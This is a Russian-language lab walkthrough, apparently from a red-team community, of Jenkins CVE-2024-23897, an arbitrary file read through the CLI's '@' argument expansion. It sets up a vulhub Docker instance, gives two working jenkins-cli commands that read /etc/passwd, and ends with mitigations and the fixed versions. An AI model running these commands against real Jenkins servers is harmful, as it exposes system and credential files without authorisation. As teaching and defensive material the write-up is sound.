Jenkins CVE-2024-23897
Введение
Jenkins — программная система с открытым исходным кодом на Java, предназначенная для обеспечения процесса непрерывной интеграции программного обеспечения.
25 января 2024 для версий Jenkins 2.441 и более ранних, а также в LTS 2.426.2 и ниже была выявлена уязвимость чтения произвольного файла через встроенный интерфейс командной строки (Jenkins CLI), которой был присвоен идентификатор CVE-2024-23897.
Особенностью парсера команд, использующегося в Jenkins, является замена символа "@" на содержимое файла, если путь к файлу следует за этим символом в аргументе команды. Эта функция активирована по умолчанию в версиях указанных выше.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Приступим к подготовке стенда.
Подготовка
Скачиваем дистрибутив Jenkins 2.441 с репозитория vulhub на GitHub.
Устанавливаем данный дистрибутив на ОС Linux с помощью docker-compose (в директории, где лежит файл docker-compose.yml):
docker-compose up -d
После установки у нас должна быть доступна панель управления Jenkins по адресу http://127.0.0.1:8080:
Далее можем приступить к разбору уязвимости чтения произвольных файлов.
Разбор уязвимости CVE-2024-23897
Для эксплуатации уязвимости нам необходим jenkins-cli, который лежит на нашем развернутом сервере по адресу http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
С помощью этой утилиты, мы будем отправлять команды на сервер. Для эксплуатации уязвимости, мы отправим следующую команду на сервер:
java -jar jenkins-cli.jar -s <http://localhost:8080/> -http help 1 "@/etc/passwd"
При использовании модуля help, как показано на примере выше, мы получим только первую строку в файле:
В случае, если включен “Allow anonymous read access”, мы можем использовать другой модуль, для доступа к полному контенту файла:
java -jar jenkins-cli.jar -s <http://localhost:8080/> -http connect-node 1 "@/etc/passwd"
Меры защиты
В качестве временного решения для уязвимых версий, пока исправление не будет применено, рекомендуется отключить доступ к CLI.
Заключение
В текущей статье мы рассмотрели мощный CI/CD инструмент Jenkins, а также разобрали уязвимость CVE-2024-23897. Данная уязвимость была устранена в версиях Jenkins 2.442 и LTS 2.426.3 путём отключения функции синтаксического анализа команд.